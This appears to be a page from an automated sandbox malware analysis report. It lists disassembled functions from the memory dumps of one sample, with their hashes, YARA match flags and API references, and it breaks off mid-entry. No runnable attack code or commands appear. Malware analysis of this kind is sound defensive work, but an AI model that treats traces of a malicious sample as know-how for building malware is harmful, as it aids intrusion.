Function 0040C33C Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 1b3aca44e62387127700a74067d933eca9984cbda9ce0f276ffa39db7d93de1c
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: EC9158721090A38ADB69433D84B443FFFE15A523A131A07BFD4F2DA2C5EE38D565E624

Uniqueness

Uniqueness Score: -1.00%

Function 02E0C021 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 2c4e3ce2b927a759001660acceb00d3d63d595693df6658fd7d8b2cf8133afdb
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 1391CA722480A349DB2D427E84B447DFFF15A522A9329B79FD4F6CB0C1EF14C596D620

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDBA Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 326d0707430c9e4632dd0af072e2ae5602fca302dacc0f2fd105cf7e7d86ce3c
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: A39187721080A34ADB694239857447FFFE19A513A131A07BFE4F2DB2C1EF388554DAAC

Uniqueness

Uniqueness Score: -1.00%

Function 02E0BD77 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 91d3683567e447307bee4c13977b18622c98f9c4273fc2423dec07ef377aa892
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: E281BA321480A34DDB2D463E85B457EFFE16A422AD30AA79EE4F2CB1C1EF10D1D6D620

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB10 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: ed2436b45d88526baccc47b99d952aaa3b3fd6651d04555aeb44c29de73e0de3
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: A58164722080A34AEB694639847443FFFE1DA513A131A07BFD4F2DA2C5EF389954966C

Uniqueness

Uniqueness Score: -1.00%

Function 02E0C9A7 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595bc1d03b63a3f6e242632fbc012b680b926ea8464c1e2c725adce26e0c53f7
Instruction ID: e432f05be5b430755b81533c91abdcc6b65f63de59a8975d3b529a2143151e13
Opcode Fuzzy Hash: 595bc1d03b63a3f6e242632fbc012b680b926ea8464c1e2c725adce26e0c53f7
Instruction Fuzzy Hash: F811D3772C004143DA14CA6FD4F43A6A3A5EAC922CB3DF76BD0879B6D8D322E1C79600

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 595bc1d03b63a3f6e242632fbc012b680b926ea8464c1e2c725adce26e0c53f7
Instruction ID: 1285646f3e550b0ff28b62c57c0a67ba85d6a8497dc3c4ddb3636f3b80dbeb11
Opcode Fuzzy Hash: 595bc1d03b63a3f6e242632fbc012b680b926ea8464c1e2c725adce26e0c53f7
Instruction Fuzzy Hash: 4B11E9BB240143C3D614872DD8F46B7E795EAD9320B2C437BD041ABBD4D33E95469D08

Uniqueness

Uniqueness Score: -1.00%

Function 02E2821E Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f5d52540dfad209349f81aef9822d4c06ff6fb3002bfcdf0a300b93abf4af2
Instruction ID: 279e82ab4491c89360b1fa9d12093579db0922d9a8b851bf48f052b3168cd20d
Opcode Fuzzy Hash: c9f5d52540dfad209349f81aef9822d4c06ff6fb3002bfcdf0a300b93abf4af2
Instruction Fuzzy Hash: 2C2109715340B106874CC73AAC61436BBD4974721338B62BBD987E90CAC669D564D7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00427FB7 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f5d52540dfad209349f81aef9822d4c06ff6fb3002bfcdf0a300b93abf4af2
Instruction ID: 6fd98f7fee058324c8a4affd6524c6d5eb482ea0a3e5483ccc2798ac4e7c1652
Opcode Fuzzy Hash: c9f5d52540dfad209349f81aef9822d4c06ff6fb3002bfcdf0a300b93abf4af2
Instruction Fuzzy Hash: C22106715280B14A864C873AAC61437BFD0DB4721338B52BFEA87E90CAC56DD964D7B4

Uniqueness

Uniqueness Score: -1.00%

Function 02EF7A73 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985952795.0000000002EF7000.00000040.00000020.00020000.00000000.sdmp, Offset: 02EF7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ef7000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: f9c3d3bba296fcbf683cc742f8af315ca89c525f00670bd40c0529c6cea1638c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9A115672380600AFDB54DF55DC81EA6B3EAEB89324B1A8195EE04CB315D675ED42C760

Uniqueness

Uniqueness Score: -1.00%

Function 02E00D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 3fa93a6bf3bc1f048c2a9b86a0fd58ca722eab3e781211c503b23610c3cc8889
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 0401A7766506048FDF21CF64C844BAA33E5EB86319F4594A5D506A72C2E774A9C38B90

Uniqueness

Uniqueness Score: -1.00%

Function 02E12368 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02E123D8
_free.LIBCMT ref: 02E123EE
_free.LIBCMT ref: 02E123FF
_free.LIBCMT ref: 02E12410
_free.LIBCMT ref: 02E12427
GetCPInfo.KERNEL32(?,?), ref: 02E1246F

Part of subcall function 02E1B66E: _free.LIBCMT ref: 02E1B6D9

_free.LIBCMT ref: 02E1261B
_free.LIBCMT ref: 02E1262E
_free.LIBCMT ref: 02E1263C
_free.LIBCMT ref: 02E12647
_free.LIBCMT ref: 02E12689
_free.LIBCMT ref: 02E12691
_free.LIBCMT ref: 02E12699
_free.LIBCMT ref: 02E126A1
_free.LIBCMT ref: 02E126AF

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: dcb85db75d6a9810ff6165a2945d9cc6b0482c6500f2ba32068ec6812f003129
Instruction ID: 73bf63054c9cd0ae50e1fe630d7a7ef8f8e0ec4191c4ded3278f1fe893cb3edb
Opcode Fuzzy Hash: dcb85db75d6a9810ff6165a2945d9cc6b0482c6500f2ba32068ec6812f003129
Instruction Fuzzy Hash: B3B19D719403159FDB219FA8C880BEEBBB9BF08304F14907DF999A7281DB75A8418F61

Uniqueness

Uniqueness Score: -1.00%

Function 00412101 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00412171
_free.LIBCMT ref: 00412187
_free.LIBCMT ref: 00412198
_free.LIBCMT ref: 004121A9
_free.LIBCMT ref: 004121C0
GetCPInfo.KERNEL32(?,?), ref: 00412208

Part of subcall function 0041B407: _free.LIBCMT ref: 0041B472

_free.LIBCMT ref: 004123B4
_free.LIBCMT ref: 004123C7
_free.LIBCMT ref: 004123D5
_free.LIBCMT ref: 004123E0
_free.LIBCMT ref: 00412422
_free.LIBCMT ref: 0041242A
_free.LIBCMT ref: 00412432
_free.LIBCMT ref: 0041243A
_free.LIBCMT ref: 00412448

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 90992f039eccf775ee6f0e5153d7fd4b1d32384889d965b499aa0aa993791504
Instruction ID: 5b0dabd66bd8fdcd50078dc43bf2e42ab7a16cebd622716c7a3d4a65844f7ae7
Opcode Fuzzy Hash: 90992f039eccf775ee6f0e5153d7fd4b1d32384889d965b499aa0aa993791504
Instruction Fuzzy Hash: 58B19D71900205AFDB209F69C981BEEBBB5FF08304F14406EF959E7342D779A8958B68

Uniqueness

Uniqueness Score: -1.00%

Function 02E1FA48 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 02E1FA8C

Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EDF8
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE0A
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE1C
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE2E
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE40
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE52
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE64
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE76
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE88
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EE9A
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EEAC
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EEBE
Part of subcall function 02E1EDDB: _free.LIBCMT ref: 02E1EED0

_free.LIBCMT ref: 02E1FA81

Part of subcall function 02E16691: HeapFree.KERNEL32(00000000,00000000,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?), ref: 02E166A7
Part of subcall function 02E16691: GetLastError.KERNEL32(?,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?,?), ref: 02E166B9

_free.LIBCMT ref: 02E1FAA3
_free.LIBCMT ref: 02E1FAB8
_free.LIBCMT ref: 02E1FAC3
_free.LIBCMT ref: 02E1FAE5
_free.LIBCMT ref: 02E1FAF8
_free.LIBCMT ref: 02E1FB06
_free.LIBCMT ref: 02E1FB11
_free.LIBCMT ref: 02E1FB49
_free.LIBCMT ref: 02E1FB50
_free.LIBCMT ref: 02E1FB6D
_free.LIBCMT ref: 02E1FB85

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1b88aa818b92a08bacdff75d588a1ad1856c76739ce7570b1390834b497b4d41
Instruction ID: 3627f45302d7c37865ccdf9dde1321d427835fa4eddcbfbde6ae450641f477bd
Opcode Fuzzy Hash: 1b88aa818b92a08bacdff75d588a1ad1856c76739ce7570b1390834b497b4d41
Instruction Fuzzy Hash: FF315E31680301DFDF209B38D854B56B3E9EF00319F24E43EE89AD75A0DF34A8508B55

Uniqueness

Uniqueness Score: -1.00%

Function 0041F7E1 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0041F825

Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EB91
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBA3
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBB5
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBC7
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBD9
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBEB
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EBFD
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC0F
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC21
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC33
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC45
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC57
Part of subcall function 0041EB74: _free.LIBCMT ref: 0041EC69

_free.LIBCMT ref: 0041F81A

Part of subcall function 0041642A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?), ref: 00416440
Part of subcall function 0041642A: GetLastError.KERNEL32(?,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?,?), ref: 00416452

_free.LIBCMT ref: 0041F83C
_free.LIBCMT ref: 0041F851
_free.LIBCMT ref: 0041F85C
_free.LIBCMT ref: 0041F87E
_free.LIBCMT ref: 0041F891
_free.LIBCMT ref: 0041F89F
_free.LIBCMT ref: 0041F8AA
_free.LIBCMT ref: 0041F8E2
_free.LIBCMT ref: 0041F8E9
_free.LIBCMT ref: 0041F906
_free.LIBCMT ref: 0041F91E

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1b88aa818b92a08bacdff75d588a1ad1856c76739ce7570b1390834b497b4d41
Instruction ID: 08f2d524f93af1435978594db491d84839911c8707e9206f6f3f4a76f4ba6dcc
Opcode Fuzzy Hash: 1b88aa818b92a08bacdff75d588a1ad1856c76739ce7570b1390834b497b4d41
Instruction Fuzzy Hash: 93314E319046049EEB206A7AE845BD777E9EB00318F25842FE859D6251DB78EDC5861C

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC72 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041ECBA
_free.LIBCMT ref: 0041ECDE
_free.LIBCMT ref: 0041ECEB
_free.LIBCMT ref: 0041ED10
_free.LIBCMT ref: 0041ED1D
_free.LIBCMT ref: 0041ED26
_free.LIBCMT ref: 0041F004
_free.LIBCMT ref: 0041F00C

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5bf01d0ab76f9d69837cfc1158affcd9b3efd2955fcf8283182fea63c66ddfe6
Instruction ID: 183ff2d50eece1c40e539f9ca3288263e9189a660d6ce743c40a1ab23c6ae5b9
Opcode Fuzzy Hash: 5bf01d0ab76f9d69837cfc1158affcd9b3efd2955fcf8283182fea63c66ddfe6
Instruction Fuzzy Hash: BFC13476D40204BBDB20DBA9DC46FEE77F8EB08704F15416AFE04EB283D67499818799

Uniqueness

Uniqueness Score: -1.00%

Function 02E1701C Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02E17030

Part of subcall function 02E16691: HeapFree.KERNEL32(00000000,00000000,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?), ref: 02E166A7
Part of subcall function 02E16691: GetLastError.KERNEL32(?,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?,?), ref: 02E166B9

_free.LIBCMT ref: 02E1703C
_free.LIBCMT ref: 02E17047
_free.LIBCMT ref: 02E17052
_free.LIBCMT ref: 02E1705D
_free.LIBCMT ref: 02E17068
_free.LIBCMT ref: 02E17073
_free.LIBCMT ref: 02E1707E
_free.LIBCMT ref: 02E17089
_free.LIBCMT ref: 02E17097

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 706ed6fea2f5fd7095639aefd16cf0d0694d4972dc8500786c83994ef4e79c34
Instruction ID: 05a2147b40816c7ee6b7a3e1c4fd56a40801ed67903b68e73bed52a5d22e6b38
Opcode Fuzzy Hash: 706ed6fea2f5fd7095639aefd16cf0d0694d4972dc8500786c83994ef4e79c34
Instruction Fuzzy Hash: 2811A476150108FFCB01EF54C840CD97BAAEF08351B2194A9FE498B221DA31EA609F81

Uniqueness

Uniqueness Score: -1.00%

Function 00416DB5 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416DC9

Part of subcall function 0041642A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?), ref: 00416440
Part of subcall function 0041642A: GetLastError.KERNEL32(?,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?,?), ref: 00416452

_free.LIBCMT ref: 00416DD5
_free.LIBCMT ref: 00416DE0
_free.LIBCMT ref: 00416DEB
_free.LIBCMT ref: 00416DF6
_free.LIBCMT ref: 00416E01
_free.LIBCMT ref: 00416E0C
_free.LIBCMT ref: 00416E17
_free.LIBCMT ref: 00416E22
_free.LIBCMT ref: 00416E30

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 706ed6fea2f5fd7095639aefd16cf0d0694d4972dc8500786c83994ef4e79c34
Instruction ID: 03963d3bf3f99f0c5baf81889c384457622505736b487650de5c49449774d794
Opcode Fuzzy Hash: 706ed6fea2f5fd7095639aefd16cf0d0694d4972dc8500786c83994ef4e79c34
Instruction Fuzzy Hash: 7E118976500108BFCB01EF56E852CD93F65EF04358B5290AAFE084F266EA35DED19B88

Uniqueness

Uniqueness Score: -1.00%

Function 004234E6 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,004244EF), ref: 00423509

Strings

exp, xrefs: 004235CE, 00423630
acos, xrefs: 00423681
pow, xrefs: 004235ED, 00423699, 004236AC
asin, xrefs: 00423675
log, xrefs: 004235AF, 004235BB
sqrt, xrefs: 0042368D
log10, xrefs: 00423553, 004235A3

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 8117d26290d5dc7e3064ce4e4d15cf131b9a831bfdb71bf424c029c7254e7812
Instruction ID: 9fa7eb0c3a0fd5662026c0099cf312e5b2811185218edd981bf982cd599b50ed
Opcode Fuzzy Hash: 8117d26290d5dc7e3064ce4e4d15cf131b9a831bfdb71bf424c029c7254e7812
Instruction Fuzzy Hash: EF519E70A00529EBCB20CF58FA485ADBBB4FF09305F914197D481A7354CB7D8A69DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 004011B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004011B5
std::_Lockit::_Lockit.LIBCPMT ref: 004011C7
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00401204

Part of subcall function 00407F13: _Yarn.LIBCPMT ref: 00407F32
Part of subcall function 00407F13: _Yarn.LIBCPMT ref: 00407F56

std::bad_exception::bad_exception.LIBCMT ref: 00401225
__CxxThrowException@8.LIBVCRUNTIME ref: 00401233
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00401256
std::_Lockit::~_Lockit.LIBCPMT ref: 004012C7

Strings

bad locale name, xrefs: 0040121D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: std::_$Locinfo::_LockitYarn$Exception@8H_prologLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 835844855-1405518554
Opcode ID: 2b3f2119c2c5b1db40e1797e527add8c385848e9d1ed832a5a63b49d1d23c44e
Instruction ID: d1bdaced7bf4f41a494f24068b9c321f427b2eb85aa683f54f52fd70979cdcaf
Opcode Fuzzy Hash: 2b3f2119c2c5b1db40e1797e527add8c385848e9d1ed832a5a63b49d1d23c44e
Instruction Fuzzy Hash: E0318E31904B40DEC7319F2AE941657FBF0FF48714B508A2FE09AA3A91C778A984CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 02E196A4 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d79731a860142aa20a8708a80706834804808a34372473a6a216b965cb6dc0e
Instruction ID: 92f1bd2b536b8a79622868036c726c3572a5eb03c395240fcc66ec1cc25b9ebf
Opcode Fuzzy Hash: 8d79731a860142aa20a8708a80706834804808a34372473a6a216b965cb6dc0e
Instruction Fuzzy Hash: AAC1E674E843499FDF11DFA8C854BAEBBB5AF09304F089168E950A7393C7309941CF65

Uniqueness

Uniqueness Score: -1.00%

Function 02E14E41 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02E17110: GetLastError.KERNEL32(?,?,02E0E727,?,?,?,02E0EE24,?), ref: 02E17114
Part of subcall function 02E17110: _free.LIBCMT ref: 02E17147
Part of subcall function 02E17110: SetLastError.KERNEL32(00000000), ref: 02E17188
Part of subcall function 02E17110: _abort.LIBCMT ref: 02E1718E

_memcmp.LIBVCRUNTIME ref: 02E150EB
_free.LIBCMT ref: 02E1515C
_free.LIBCMT ref: 02E15175
_free.LIBCMT ref: 02E151A7
_free.LIBCMT ref: 02E151B0
_free.LIBCMT ref: 02E151BC

Strings

C, xrefs: 02E14FA9

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 3728204ba0f42c36efc3e2ded07bfb1afede91648e58bbed604de4c5b825e97c
Instruction ID: 497283284dd25b3f107fdb36c69f4949cb3010d6ee24b6b6d0a7dbf744be7816
Opcode Fuzzy Hash: 3728204ba0f42c36efc3e2ded07bfb1afede91648e58bbed604de4c5b825e97c
Instruction Fuzzy Hash: D2B14A75A41619DFDB24DF18C884BADB7B5FF48308F5095AAE84AA7390D730AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00414BDA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00416EA9: GetLastError.KERNEL32(?,?,0040E4C0,?,?,?,0040EBBD,?), ref: 00416EAD
Part of subcall function 00416EA9: _free.LIBCMT ref: 00416EE0
Part of subcall function 00416EA9: SetLastError.KERNEL32(00000000), ref: 00416F21
Part of subcall function 00416EA9: _abort.LIBCMT ref: 00416F27

_memcmp.LIBVCRUNTIME ref: 00414E84
_free.LIBCMT ref: 00414EF5
_free.LIBCMT ref: 00414F0E
_free.LIBCMT ref: 00414F40
_free.LIBCMT ref: 00414F49
_free.LIBCMT ref: 00414F55

Strings

C, xrefs: 00414D42

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 8490583ef9525509a7d54e255c80fe38c2074b45a7a666d8c5da5df00a369016
Instruction ID: 7f80d736d519a30fbcd459de0b0cdcaf4338f5f102e5ef4e71ec8f2ff34ab4ed
Opcode Fuzzy Hash: 8490583ef9525509a7d54e255c80fe38c2074b45a7a666d8c5da5df00a369016
Instruction Fuzzy Hash: A1B11A75A012199FDB24DF18C884AEEB7B4FB48314F5045AEE909A7350E735AED1CF88

Uniqueness

Uniqueness Score: -1.00%

Function 02E265D4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 186filetimeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02E266E5
wsprintfA.USER32 ref: 02E26704
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000010,00000000), ref: 02E26733
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 02E267A5
